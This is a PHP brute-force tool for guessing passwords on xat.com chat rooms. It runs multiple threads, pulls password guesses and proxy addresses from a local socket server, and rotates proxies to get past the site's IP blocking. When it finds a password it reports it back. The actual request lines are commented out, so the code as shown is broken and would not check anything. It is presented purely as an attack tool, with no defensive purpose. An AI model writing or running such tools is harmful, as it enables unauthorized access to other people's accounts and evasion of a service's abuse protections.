Xat Brute Force(Client)(MultiThread)

<?php
error_reporting(E_ALL);
//xatech.com/web_gear/chat/auser3.php
echo "Xat Chat Bruteforcer by Hundrea aka Kronos \n";
echo "Type To Start! \n";
$pick=fgets(STDIN);
echo "How many threads do you want?(The more the faster!)\n";
$numofThreads = fgets(STDIN);
$numofThreads=(int)$numofThreads;

class attack extends Thread{
public static $chatid;
public static $file ="storage.txt";
public $objects;
public $fp;

public function SocketGet($message){
$this->fp = fsockopen ("localhost",4317, $errno, $errstr);
while(!$this->fp){
$this->fp = fsockopen ("localhost",4317, $errno, $errstr);
}
fwrite($this->fp,$message);
sleep(2);
return fread($this->fp,1000);
}

public function __construct(){
self::$chatid=$this->SocketGet("ID");
}

public function run(){
for($blahn=0;$blahn<2;){
$x=$this->SocketGet("Number");
$Proxyx=$this->SocketGet("Proxy");

$aProxy = array(
    'http' => array(
        'proxy' => 'tcp://'.$Proxyx,//tcp://192.168.0.2:3128
        'request_fulluri' => true,
    ),
);
$threadid=$this->getThreadId();
$proxystream = stream_context_create($aProxy);
echo "--> Thread id :$threadid: Using Proxy ".$Proxyx."\n";
$urlstring='http://xat.com/web_gear/chat.php?id='.self::$chatid.'&pw='.$x;
echo "--> Thread id :$threadid: Getting http://xat.com/web_gear/chat.php?id=".self::$chatid."&pw=".$x."\n";
//$htmldata =file_get_contents(str_replace("\n","",$urlstring));
//$htmldata =file_get_contents(str_replace("\n","",$urlstring),False,$proxystream);
//$htmldata =file_get_contents("http://xat.com/web_gear/chat.php?id=158602168&pw=296756942");
echo "--> Thread id :$threadid: Checking If Correct -->"."\n";
if(strpos($htmldata,"http://xat.com/web_gear/chat.php?id="))
{
echo "--> Passfound Success!\n\n";
$this->SocketGet("Success/xz/$urlstring");
exit();
}
else if(strpos($htmldata,"not found"))
{
echo $urlstring;
$return="--> Thread id :$threadid: Wrong Pass\n\n";
}
else if(strpos($htmldata,"Try again in"))
{
$return="--> Thread id :$threadid: Server blocked ip\n\n";
$this->SocketGet("Timeout");
}
else{
$return="--> Unknown Error\n\n";
$this->SocketGet("Timeout");file_put_contents("storage.txt",$urlstring);
}
echo $return;
}
}}
for($Createnumber=0;$Createnumber<$numofThreads;$Createnumber++){
$attackthread[$Createnumber]=new attack();
$attackthread[$Createnumber]->start();
}

?>